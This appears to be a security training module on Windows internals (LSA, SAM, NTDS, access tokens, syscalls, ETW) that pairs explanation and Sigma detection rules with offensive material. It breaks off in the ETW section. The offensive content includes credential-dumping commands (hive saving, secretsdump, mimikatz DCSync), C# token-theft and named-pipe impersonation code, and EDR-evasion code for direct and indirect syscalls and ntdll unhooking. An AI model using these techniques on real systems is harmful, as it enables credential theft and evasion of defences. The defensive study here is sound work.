Windows Internals Deep Dive — Security Perspective
Windows Internals Deep Dive — Security Perspective
CIPHER Training Module | Classification: RED/BLUE/PURPLE Generated: 2026-03-15 Sources: WindowsInternals 7e (Russinovich/Solomon/Ionescu), windows-security-internals (tyranid), LOLBAS-Project, UACME, GhostPack, PEASS-ng, PersistenceSniper, elastic/protections-artifacts, SyscallPack, SysWhispers3, TelemetrySourcerer
Table of Contents
- Windows Security Architecture
- Access Tokens and Privileges
- Windows Syscalls and the SSDT
- ETW — Event Tracing for Windows
- Windows Defender Internals
- LSASS Internals and Credential Storage
- COM/DCOM Security
- WMI Internals
- Named Pipes and IPC
- Windows Services Internals
- Registry Security
- Windows Networking for Lateral Movement
- Kernel Security Mechanisms
- PowerShell Security
- AppContainer and Sandbox Internals
- Memory Protection Mechanisms
1. Windows Security Architecture
1.1 Security Reference Monitor (SRM)
The SRM is a kernel-mode component (nt!Se* functions) that enforces access validation and audit generation. It is the single authority for access checks in Windows.
Key responsibilities:
- Compares access tokens against security descriptors during object access
- Generates audit messages for the Security Event Log
- Manages privileges (enable, disable, check)
- Enforces mandatory integrity policy (MIC)
Architecture position:
User Mode Kernel Mode
+-----------+ +-------------------------+
| Process | NtOpenFile() | Object Manager |
| (token) | ------------------> | calls ObCheckObjectAccess|
+-----------+ syscall | | |
| SeAccessCheck() |
| (Security Ref Mon) |
| | |
| Compare token SIDs |
| against DACL ACEs |
+-------------------------+
SeAccessCheck logic (simplified):
- If token owner == object owner and DACL not protected, grant
READ_CONTROL | WRITE_DAC - Walk DACL ACE list in order:
- ACCESS_DENIED_ACE: if SID matches token, deny those bits
- ACCESS_ALLOWED_ACE: if SID matches token, grant those bits
- After all ACEs: if all requested bits granted, allow; otherwise deny
- Mandatory integrity check happens before DACL walk (No-Write-Up, No-Read-Up, No-Execute-Up)
Red team implication: The SRM trusts the token. If you can manipulate the token (steal, duplicate, forge), you bypass the SRM's access decisions entirely. [CONFIRMED]
1.2 Local Security Authority (LSA)
Process: lsass.exe — the user-mode security hub.
Components inside LSASS:
| Component | DLL | Function |
|---|---|---|
| LSA Server | lsasrv.dll |
Core LSA policy, logon sessions |
| NTLM Auth | msv1_0.dll |
NTLM authentication package |
| Kerberos | kerberos.dll |
Kerberos authentication |
| Negotiate | negoexts.dll |
SPNEGO negotiation |
| Wdigest | wdigest.dll |
Digest/plaintext credential caching |
| TsPkg | tspkg.dll |
Terminal Services SSP |
| CloudAP | cloudAP.dll |
Azure AD / cloud authentication |
| DPAPI | dpapisrv.dll |
Data Protection API master key management |
| SAM | samsrv.dll |
Security Account Manager server |
LSA registry controls:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL = 1 ; Enable LSA Protection (PPL)
DisableRestrictedAdmin = 0 ; Enable Restricted Admin for RDP
LmCompatibilityLevel = 5 ; NTLMv2 only, refuse LM/NTLM
Security Packages = (multi-string) loaded SSPs
Authentication Packages = (multi-string) loaded APs
Enumerating loaded SSPs:
# List loaded security packages
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object -ExpandProperty "Security Packages"
# Check LSA protection status
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL -ErrorAction SilentlyContinue
# List authentication packages
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages"
1.3 Security Account Manager (SAM)
The SAM stores local account credentials in %SystemRoot%\System32\config\SAM, encrypted with a boot key derived from SYSTEM hive.
SAM encryption layers:
- Boot Key (SysKey): derived from obfuscated values in
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\{JD, Skew1, GBG, Data}registry class names - SAM Key: encrypted with boot key, stored in
HKLM\SAM\SAM\Domains\Account\F - Per-user key: derived from SAM key + user RID
- Hash encryption: NT hash encrypted with per-user key using AES-128-CBC (Win10+) or RC4/DES (legacy)
Offline SAM extraction (requires SYSTEM + SAM hives):
# Save hives (requires admin)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY
# Volume Shadow Copy method (bypasses locks)
wmic shadowcopy call create Volume='C:\'
# Then copy from \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
# Extract with impacket
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
# Extract with pypykatz
pypykatz registry --sam SAM --system SYSTEM --security SECURITY
Detection (Sigma):
title: SAM Registry Hive Dumped via Reg.exe
id: a3e5f4b2-8c71-4d9e-b6a3-1f2e8d7c9b0a
status: stable
description: Detects saving of SAM/SYSTEM/SECURITY hives via reg.exe for offline credential extraction
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\reg.exe'
CommandLine|contains|all:
- 'save'
CommandLine|contains:
- 'hklm\sam'
- 'hklm\system'
- 'hklm\security'
condition: selection
falsepositives:
- Legitimate backup operations by system administrators
level: high
tags:
- attack.credential_access
- attack.t1003.002
1.4 Active Directory — NTDS.dit
Domain credentials live in %SystemRoot%\NTDS\ntds.dit — an ESE (Extensible Storage Engine) database.
Key tables:
datatable— user/computer objects, attributes includingunicodePwd(NT hash),supplementalCredentialslink_table— group memberships, object referencessd_table— security descriptors
NTDS encryption:
- Password Encryption Key (PEK) stored encrypted in
datatableATTk590689 attribute - PEK encrypted with the domain controller's boot key
- Individual hashes encrypted with PEK using AES-256 (Server 2016+) or RC4
Extraction methods:
# DCSync — no file access needed, requires Replicating Directory Changes (All) rights
# Mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgt
# Impacket
secretsdump.py -just-dc corp.local/admin:password@dc01.corp.local
# NTDS.dit + SYSTEM via VSS
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds" quit quit
# Creates ntds.dit + registry hives in C:\temp\ntds
# Extraction
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
DCSync detection:
title: DCSync Replication Request from Non-DC
id: b7e3c1a9-4d5f-4e8b-9c2d-6f1a3e5b7d0c
status: stable
description: Detects directory replication requests from non-domain controller IPs indicating DCSync attack
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
filter:
SubjectUserName|endswith: '$'
# Further filter by known DC IPs in production
condition: selection and not filter
falsepositives:
- Azure AD Connect servers with replication permissions
level: critical
tags:
- attack.credential_access
- attack.t1003.006
1.5 Security Descriptors and Access Control
Every securable object has a security descriptor (SD):
SECURITY_DESCRIPTOR
├── Owner SID
├── Group SID
├── DACL (Discretionary Access Control List)
│ ├── ACE 1: ACCESS_ALLOWED_ACE (SID, AccessMask)
│ ├── ACE 2: ACCESS_DENIED_ACE (SID, AccessMask)
│ └── ACE n: ...
└── SACL (System Access Control List) — audit entries
SDDL (Security Descriptor Definition Language) quick reference:
| SDDL Abbreviation | SID | Description |
|---|---|---|
| BA | S-1-5-32-544 | BUILTIN\Administrators |
| SY | S-1-5-18 | NT AUTHORITY\SYSTEM |
| BU | S-1-5-32-545 | BUILTIN\Users |
| WD | S-1-1-0 | Everyone |
| AN | S-1-5-7 | Anonymous Logon |
| AU | S-1-5-11 | Authenticated Users |
| CO | (creator owner) | Creator Owner |
| DA | (domain) | Domain Admins |
| EA | (domain) | Enterprise Admins |
Access mask bits:
| Bit | Generic | File-Specific |
|---|---|---|
| 0x80000000 | GENERIC_READ | — |
| 0x40000000 | GENERIC_WRITE | — |
| 0x20000000 | GENERIC_EXECUTE | — |
| 0x10000000 | GENERIC_ALL | — |
| 0x00010000 | DELETE | DELETE |
| 0x00020000 | READ_CONTROL | READ_CONTROL |
| 0x00040000 | WRITE_DAC | WRITE_DAC |
| 0x00080000 | WRITE_OWNER | WRITE_OWNER |
| 0x001F01FF | — | FILE_ALL_ACCESS |
| 0x00000001 | — | FILE_READ_DATA |
| 0x00000002 | — | FILE_WRITE_DATA |
Querying security descriptors:
# Get file SD in SDDL
(Get-Acl C:\Windows\System32\cmd.exe).Sddl
# Get service SD
sc sdshow wuauserv
# Get registry key SD
(Get-Acl "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run").Access
# Get AD object SD
(Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=corp,DC=local").Access
1.6 Mandatory Integrity Control (MIC)
Windows assigns integrity levels (IL) to tokens and objects. Lower IL processes cannot write to higher IL objects.
| Integrity Level | SID | RID | Typical Assignment |
|---|---|---|---|
| Untrusted | S-1-16-0 | 0x0000 | Rarely used |
| Low | S-1-16-4096 | 0x1000 | Protected Mode IE, sandboxed |
| Medium | S-1-16-8192 | 0x2000 | Standard user processes |
| Medium Plus | S-1-16-8448 | 0x2100 | — |
| High | S-1-16-12288 | 0x3000 | Elevated (admin) processes |
| System | S-1-16-16384 | 0x4000 | SYSTEM, kernel-mode services |
| Protected | S-1-16-20480 | 0x5000 | PPL processes |
Mandatory policy flags:
SYSTEM_MANDATORY_LABEL_NO_WRITE_UP(0x1) — default; lower IL cannot writeSYSTEM_MANDATORY_LABEL_NO_READ_UP(0x2) — lower IL cannot readSYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP(0x4) — lower IL cannot execute
# Check process integrity level
whoami /groups | findstr "Mandatory"
# Check file integrity level
icacls C:\Windows\System32\cmd.exe | findstr "Mandatory"
# Set low integrity on a file
icacls C:\temp\test.exe /setintegritylevel Low
2. Access Tokens and Privileges
2.1 Token Structure
Every process and thread has an access token containing the security context.
Token contents (key fields from nt!_TOKEN):
TOKEN
├── TokenId — Unique LUID for this token
├── AuthenticationId — LUID of the logon session
├── ParentTokenId — LUID of the parent token (for impersonation)
├── ExpirationTime — Token expiration
├── TokenType — Primary (1) or Impersonation (2)
├── ImpersonationLevel — SecurityAnonymous/Identification/Impersonation/Delegation
├── User — TOKEN_USER (SID of the principal)
├── Groups — TOKEN_GROUPS (array of SID_AND_ATTRIBUTES)
├── Privileges — TOKEN_PRIVILEGES (array of LUID_AND_ATTRIBUTES)
├── Owner — Default owner SID for created objects
├── PrimaryGroup — Default primary group SID
├── DefaultDacl — Default DACL for created objects
├── MandatoryPolicy — Integrity policy flags
├── TokenIntegrityLevel — SID representing integrity level
├── SessionId — Terminal Services session
├── RestrictedSids — Restricted token SIDs (write-restricted tokens)
├── AppContainerSid — AppContainer SID (UWP apps)
└── Capabilities — AppContainer capabilities
2.2 Token Types
| Type | Description | Creation |
|---|---|---|
| Primary | Assigned to processes, represents process security context | Created at logon, duplicated on process creation |
| Impersonation | Assigned to threads, temporarily assumes another identity | Created via DuplicateTokenEx, ImpersonateNamedPipeClient, etc. |
2.3 Impersonation Levels
| Level | Value | Capabilities |
|---|---|---|
| SecurityAnonymous | 0 | Server cannot obtain client info |
| SecurityIdentification | 1 | Server can query client token (SIDs, privs) but cannot impersonate |
| SecurityImpersonation | 2 | Server can impersonate client on local system |
| SecurityDelegation | 3 | Server can impersonate client on remote systems (requires delegation) |
Red team significance: Impersonation level determines what you can do with a stolen token. A mere Identification-level token cannot be used to access resources. You need Impersonation (local) or Delegation (remote) level. [CONFIRMED]
2.4 Key Privileges for Offensive Operations
| Privilege | Exploitation |
|---|---|
SeDebugPrivilege |
Open any process (including LSASS) for full access. Dump credentials, inject code. T1134 |
SeImpersonatePrivilege |
Impersonate any token you can get a handle to. Potato attacks. T1134.001 |
SeAssignPrimaryTokenPrivilege |
Assign a primary token to a new process. Token manipulation. T1134.002 |
SeBackupPrivilege |
Read any file regardless of ACL (via backup semantics). SAM/NTDS extraction. T1003 |
SeRestorePrivilege |
Write any file regardless of ACL. DLL hijacking, persistence. T1574 |
SeTakeOwnershipPrivilege |
Take ownership of any object, then modify DACL. T1222 |
SeLoadDriverPrivilege |
Load kernel drivers. BYOVD, rootkits. T1543.003 |
SeTcbPrivilege |
Act as part of TCB. Create tokens with any content. T1134 |
SeCreateTokenPrivilege |
Create arbitrary tokens via NtCreateToken. T1134 |
SeManageVolumePrivilege |
Direct disk access. Read raw NTFS, bypass file ACLs. T1006 |
SeTrustedCredManAccessPrivilege |
Access Credential Manager stored credentials. T1555.004 |
SeRelabelPrivilege |
Change integrity level of objects. Bypass MIC. |
2.5 Token Manipulation Techniques
Enumerating Current Token
# Full token information
whoami /all
# Just privileges
whoami /priv
# Process token via PowerShell
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Format-List *
# List all accessible tokens (requires SeDebugPrivilege or process ownership)
# Using NtObjectManager module (James Forshaw)
Get-NtToken -ProcessId (Get-Process lsass).Id -Duplicate
Token Theft via Handle Duplication
// C# — Steal token from a SYSTEM process and spawn cmd.exe
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
class TokenStealer
{
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess,
IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags,
string lpApplicationName, string lpCommandLine, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInfo);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
const uint TOKEN_ALL_ACCESS = 0xF01FF;
const uint PROCESS_QUERY_INFORMATION = 0x0400;
const int SecurityImpersonation = 2;
const int TokenPrimary = 1;
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO { public int cb; /* remaining fields zero-init */ }
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public uint dwProcessId, dwThreadId; }
static void Main()
{
// Target: winlogon.exe runs as SYSTEM
var target = Process.GetProcessesByName("winlogon")[0];
IntPtr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, false, target.Id);
OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out IntPtr hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, IntPtr.Zero,
SecurityImpersonation, TokenPrimary, out IntPtr hNewToken);
var si = new STARTUPINFO { cb = Marshal.SizeOf<STARTUPINFO>() };
CreateProcessWithTokenW(hNewToken, 0, null, "cmd.exe", 0,
IntPtr.Zero, null, ref si, out _);
}
}
Token Impersonation via Named Pipe (Potato Technique Core)
// Core concept: service account creates named pipe, tricks SYSTEM to connect, steals token
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
// After SYSTEM connects to our pipe:
ImpersonateNamedPipeClient(hPipe);
// Thread now runs as SYSTEM
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out IntPtr hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, IntPtr.Zero, 2, 1, out IntPtr hPrimary);
CreateProcessWithTokenW(hPrimary, 0, null, "cmd.exe", ...);
Enabling Disabled Privileges
# PowerShell — Enable SeDebugPrivilege (must already be in token, just disabled)
$definition = @'
using System;
using System.Runtime.InteropServices;
public class AdjPriv {
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID Luid; public uint Attributes; }
[StructLayout(LayoutKind.Sequential)]
struct LUID { public uint LowPart; public int HighPart; }
public static void EnablePrivilege(string privilege) {
IntPtr hToken;
OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle, 0x0028, out hToken);
var tp = new TOKEN_PRIVILEGES { PrivilegeCount = 1, Attributes = 0x00000002 };
LookupPrivilegeValue(null, privilege, out tp.Luid);
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
}
'@
Add-Type $definition
[AdjPriv]::EnablePrivilege("SeDebugPrivilege")
2.6 Token Detection Opportunities
title: Token Manipulation via Process Access to LSASS
id: d4e7b2c1-9f3a-4b8e-a5d6-2c1e8f7a3b9d
status: stable
description: Detects process opening LSASS with token-related access rights indicating credential theft or token manipulation
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10 # ProcessAccess
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1FFFFF' # PROCESS_ALL_ACCESS
- '0x1F1FFF'
- '0x1010' # PROCESS_QUERY_LIMITED + PROCESS_VM_READ
- '0x1410'
filter:
SourceImage|endswith:
- '\csrss.exe'
- '\svchost.exe'
- '\MsMpEng.exe'
- '\MsSense.exe'
condition: selection and not filter
falsepositives:
- Endpoint protection agents with LSASS access
- Windows Credential Guard Helper
level: high
tags:
- attack.credential_access
- attack.t1003.001
3. Windows Syscalls and the SSDT
3.1 Syscall Architecture
Windows syscalls transition from user mode (ring 3) to kernel mode (ring 0) via the syscall instruction (x64) or sysenter/int 0x2e (x86).
Call flow:
User code
└─> kernel32.dll!CreateFileW() (Win32 API)
└─> ntdll.dll!NtCreateFile() (Native API — syscall stub)
└─> mov r10, rcx (syscall convention)
mov eax, SSN (System Service Number)
syscall (transition to ring 0)
└─> nt!NtCreateFile (kernel implementation)
Ntdll syscall stub (x64, typical):
NtCreateFile:
mov r10, rcx ; r10 = first param (syscall convention)
mov eax, 0x55 ; SSN for NtCreateFile (varies by build)
test byte ptr [7FFE0308h], 1 ; SharedUserData->SystemCall
jnz use_int2e
syscall
ret
use_int2e:
int 2Eh
ret
3.2 Nt* vs Zw* Functions
| Aspect | Nt* | Zw* |
|---|---|---|
| Called from | User mode via ntdll stubs | Kernel mode (drivers) |
| Access mode | PreviousMode = UserMode (parameter validation enforced) | PreviousMode set to KernelMode (parameter validation skipped) |
| Typical use | Applications | Kernel drivers |
| Security check | Full validation (ProbeForRead, etc.) | Trusted — no probe |
Red team significance: Direct syscalls bypass user-mode hooks. EDR products hook ntdll functions to monitor API calls. By executing the syscall instruction directly (with correct SSN), you bypass all ntdll-level hooks. [CONFIRMED]
3.3 System Service Descriptor Table (SSDT)
The SSDT (nt!KiServiceTable) maps System Service Numbers (SSNs) to kernel function pointers.
SSDT structure (Win10/11 x64):
- Encoded as array of signed 32-bit offsets:
KiServiceTable[SSN] >> 4 + KiServiceTable= function address - Low 4 bits encode number of argument bytes copied from user stack
- Win32k has a separate SSDT:
W32pServiceTable(shadow SSDT) for GDI/USER calls
Querying SSNs:
# Parse ntdll exports to extract SSNs (offline analysis)
# Each Nt* function starts with: mov eax, <SSN>
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# ... parse PE, find exports, read SSN from mov eax instruction at function start
# Faster: use SyscallExtractor or J00ru's syscall table:
# https://j00ru.vexillium.org/syscalls/nt/64/
SSN variability across Windows builds:
| Function | Win10 1809 | Win10 21H2 | Win11 22H2 | Win11 24H2 |
|---|---|---|---|---|
| NtCreateFile | 0x55 | 0x55 | 0x55 | 0x55 |
| NtOpenProcess | 0x26 | 0x26 | 0x26 | 0x26 |
| NtAllocateVirtualMemory | 0x18 | 0x18 | 0x18 | 0x18 |
| NtWriteVirtualMemory | 0x3A | 0x3A | 0x3A | 0x3A |
| NtCreateThreadEx | 0xC2 | 0xC7 | 0xC7 | 0xCB |
| NtProtectVirtualMemory | 0x50 | 0x50 | 0x50 | 0x50 |
Note: SSNs for core functions are relatively stable across builds, but always verify against the target build. NtCreateThreadEx notably shifts. [CONFIRMED]
3.4 Direct Syscall Techniques for EDR Bypass
Technique 1: Static Syscall Stubs (SysWhispers / SysWhispers2 / SysWhispers3)
; MASM x64 — Direct syscall stub for NtAllocateVirtualMemory
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h ; SSN — hardcoded for specific build
syscall
ret
NtAllocateVirtualMemory ENDP
Problem: Static SSNs break across OS builds. Hardcoded syscall instruction at unusual RVA triggers heuristic detection (return address outside ntdll).
Technique 2: Dynamic SSN Resolution (Hell's Gate / Halo's Gate)
// Hell's Gate — read SSN at runtime from ntdll in memory
// Find ntdll base via PEB->Ldr->InMemoryOrderModuleList
// Parse export table, find Nt* function
// Read bytes at function start: 4C 8B D1 B8 [SSN] 00 00 00
DWORD GetSSN(PVOID pFunctionAddress) {
BYTE* p = (BYTE*)pFunctionAddress;
// Standard pattern: mov r10, rcx; mov eax, SSN
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && // mov r10, rcx
p[3] == 0xB8) { // mov eax, imm32
return *(DWORD*)(p + 4);
}
return 0; // Hooked — bytes modified
}
Halo's Gate enhancement: If target function is hooked (bytes don't match expected pattern), walk up/down to neighboring syscall stubs and calculate SSN by offset:
// If NtAllocateVirtualMemory is hooked, check NtAllocateVirtualMemoryEx (SSN+1)
// Or check function at SSN-1 and add 1
DWORD GetSSNHalosGate(PVOID pFunctionAddress) {
BYTE* p = (BYTE*)pFunctionAddress;
// Check if hooked (JMP instruction instead of mov r10,rcx)
if (p[0] == 0xE9 || p[0] == 0xFF) {
// Walk to neighbor functions (each stub is ~32 bytes apart)
for (int i = 1; i < 20; i++) {
// Check upward neighbor
BYTE* up = p - (i * 32);
if (up[0] == 0x4C && up[1] == 0x8B && up[2] == 0xD1 && up[3] == 0xB8) {
return *(DWORD*)(up + 4) + i; // Neighbor SSN + offset
}
// Check downward neighbor
BYTE* down = p + (i * 32);
if (down[0] == 0x4C && down[1] == 0x8B && down[2] == 0xD1 && down[3] == 0xB8) {
return *(DWORD*)(down + 4) - i;
}
}
}
return *(DWORD*)(p + 4); // Not hooked
}
Technique 3: Indirect Syscalls
Instead of executing syscall from your own code (detectable via return address), jump into ntdll's legitimate syscall instruction:
; Indirect syscall — execute syscall instruction inside ntdll
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h ; SSN
jmp qword ptr [ntdll_syscall_ret] ; Jump to syscall;ret inside ntdll
NtAllocateVirtualMemory ENDP
; ntdll_syscall_ret points to the 'syscall; ret' bytes inside ntdll.dll
; Return address on stack will be inside ntdll — passes stack trace validation
Finding the syscall; ret gadget:
// Scan ntdll .text section for: 0F 05 C3 (syscall; ret)
PVOID FindSyscallRet(PVOID ntdllBase) {
// Parse PE headers to find .text section
PIMAGE_SECTION_HEADER textSection = /* ... */;
BYTE* p = (BYTE*)ntdllBase + textSection->VirtualAddress;
for (DWORD i = 0; i < textSection->Misc.VirtualSize - 2; i++) {
if (p[i] == 0x0F && p[i+1] == 0x05 && p[i+2] == 0xC3) {
return &p[i];
}
}
return NULL;
}
Technique 4: Syscalls from Fresh Ntdll Copy
// Map a clean copy of ntdll from disk (bypasses in-memory hooks)
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID pCleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Now resolve functions from pCleanNtdll — unhooked copies
Alternative: read ntdll from \KnownDlls\ntdll.dll (kernel object directory — guaranteed clean, but EDRs monitor this):
HANDLE hSection;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name };
NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
PVOID base = NULL; SIZE_T size = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &base, 0, 0, NULL, &size, 1, 0, PAGE_READONLY);
3.5 Syscall Detection Strategies
For defenders:
-
Kernel-mode ETW telemetry — Cannot be bypassed from user mode.
Microsoft-Windows-Threat-Intelligenceprovider logs:NtAllocateVirtualMemorywithPAGE_EXECUTE_READWRITENtWriteVirtualMemoryto remote processesNtMapViewOfSectioncross-process
-
Stack trace validation — Check if syscall return address is within ntdll's address range. Anomalous return addresses indicate direct syscalls.
-
Ntdll integrity monitoring — Compare in-memory ntdll
.textsection against on-disk copy to detect unhooking. -
Hardware breakpoints on syscall instruction — Monitor specific SSNs via instrumentation callbacks (
PsSetCreateProcessNotifyRoutineEx).
# Check for ntdll hooks (compare in-memory vs on-disk)
$ntdllPath = "$env:SystemRoot\System32\ntdll.dll"
$diskBytes = [System.IO.File]::ReadAllBytes($ntdllPath)
$proc = Get-Process -Id $PID
# Compare .text section bytes (requires PE parsing)
4. ETW — Event Tracing for Windows
4.1 Architecture Overview
ETW is Windows' high-performance tracing infrastructure. It operates in three components:
┌──────────┐ ┌──────────────┐ ┌──────────────┐
│ Provider │────>│ Session │────>│ Consumer │
│ (source) │ │ (controller) │ │ (sink) │
│ │ │ + buffers │ │ │
└──────────┘ └──────────────┘ └──────────────┘
Generates Routes & buffers Processes
events events events
- Providers: Instrumented components that generate events (kernel, services, applications)
- Sessions (Controllers): Buffer and route events from providers to consumers. Kernel manages
_WMI_LOGGER_CONTEXTper session - Consumers: Read events in real-time or from
.etlfiles
Key kernel structures:
_ETW_REG_ENTRY— per-provider registration_WMI_LOGGER_CONTEXT— per-session context_ETW_GUID_ENTRY— GUID-to-provider mappingEtwpSessionDemuxTable— global session lookup
4.2 Security-Relevant ETW Providers
| Provider | GUID | Security Value |
|---|---|---|
| Microsoft-Windows-Threat-Intelligence | F4E1897A-BB5D-5668-F1D8-040F4D8DD344 |
Kernel-mode: memory operations, process injection (PPL-only consumer) |
| Microsoft-Windows-Kernel-Process | 22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716 |
Process/thread creation with full command line |
| Microsoft-Windows-Kernel-File | EDD08927-9CC4-4E65-B970-C2560FB5C289 |
File system operations |
| Microsoft-Windows-Kernel-Network | 7DD42A49-5329-4832-8DFD-43D979153A88 |
Network connections |
| Microsoft-Windows-Kernel-Registry | 70EB4F03-C1DE-4F73-A051-33D13D5413BD |
Registry operations |
| Microsoft-Windows-Security-Auditing | 54849625-5478-4994-A5BA-3E3B0328C30D |
Security Event Log source |
| Microsoft-Windows-Sysmon | 5770385F-C22A-43E0-BF4C-06F5698FFBD9 |
Sysmon telemetry |
| Microsoft-Windows-PowerShell | A0C1853B-5C40-4B15-8766-3CF1C58F985A |
PowerShell script execution |
| Microsoft-Windows-DotNETRuntime | E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4 |
.NET assembly loads (detect execute-assembly) |
| Microsoft-Antimalware-Scan-Interface | 2A576B87-09A7-520E-C21A-4942F0271D67 |
AMSI scan events |
| Microsoft-Windows-WMI-Activity | 1418EF04-B0B4-4623-BF7E-D74AB47BBDAA |
WMI activity monitoring |
| Microsoft-Windows-DNS-Client | 1C95126E-7EEA-49A9-A3FE-A378B03DDB4D |
DNS queries |
| Microsoft-Windows-LDAP-Client | 099614A5-5DD7-4788-8BC9-E29F43DB28FC |
LDAP operations |
| Microsoft-Windows-RPC | 6AD52B32-D609-4BE9-AE07-CE8DAE937E39 |
RPC calls |
| Microsoft-Windows-COMRuntime | BF315A9D-6276-5E46-3208-3E0F991D853C |
COM activation |
4.3 Working with ETW Sessions
# List active ETW sessions
logman query -ets
# List all registered providers
logman query providers
# Query a specific provider's keywords and levels
logman query providers "Microsoft-Windows-Kernel-Process"
# Start a trace session
logman create trace MyTrace -ets -p "Microsoft-Windows-Kernel-Process" 0x10 0xFF
# 0x10 = WINEVENT_KEYWORD_PROCESS keyword, 0xFF = all levels
# Stop session
logman stop MyTrace -ets
# Real-time consumption with xperf/tracerpt
xperf -start MySession -on Microsoft-Windows-Kernel-Process
xperf -stop MySession -d output.etl
tracerpt output.etl -o output.xml -of XML
PowerShell real-time ETW consumer:
# Using .NET ETW classes for real-time monitoring
$sessionName = "CipherMonitor"
$session = New-Object System.Diagnostics.Eventing.Reader.EventLogWatcher(
New-Object System.Diagnostics.Eventing.Reader.EventLogQuery(
"Microsoft-Windows-Sysmon/Operational",
[System.Diagnostics.Eventing.Reader.PathType]::LogName
)
)
$session.EventRecordWritten.Add({
param($sender, $e)
Write-Host "Event: $($e.EventRecord.Id) - $($e.EventRecord.FormatDescription())"
})
$session.Enabled = $true
# Runs until disabled
4.4 ETW for Threat Detection
Detecting Process Injection via ETW-TI
The Microsoft-Windows-Threat-Intelligence provider is the gold standard — it fires from kernel mode and cannot be tampered with from user mode.
Key events:
KERNEL_THREATINT_ALLOCVM_REMOTE— Remote VirtualAlloc (cross-process)KERNEL_THREATINT_PROTECTVM_REMOTE— Remote VirtualProtectKERNEL_THREATINT_MAPVIEW_REMOTE— Remote MapViewOfSectionKERNEL_THREATINT_WRITEVM_REMOTE— Remote WriteProcessMemoryKERNEL_THREATINT_SETTHREADCONTEXT_REMOTE— Remote SetThreadContextKERNEL_THREATINT_QUEUEAPC_REMOTE— Remote QueueUserAPC
Catch: Only PPL (Protected Process Light) processes can consume ETW-TI events. This means only AV/EDR running as PPL can subscribe. [CONFIRMED]
Detecting .NET Assembly Loading (Execute-Assembly Detection)
# Monitor for .NET assembly loads into unusual processes (e.g., PowerShell, explorer)
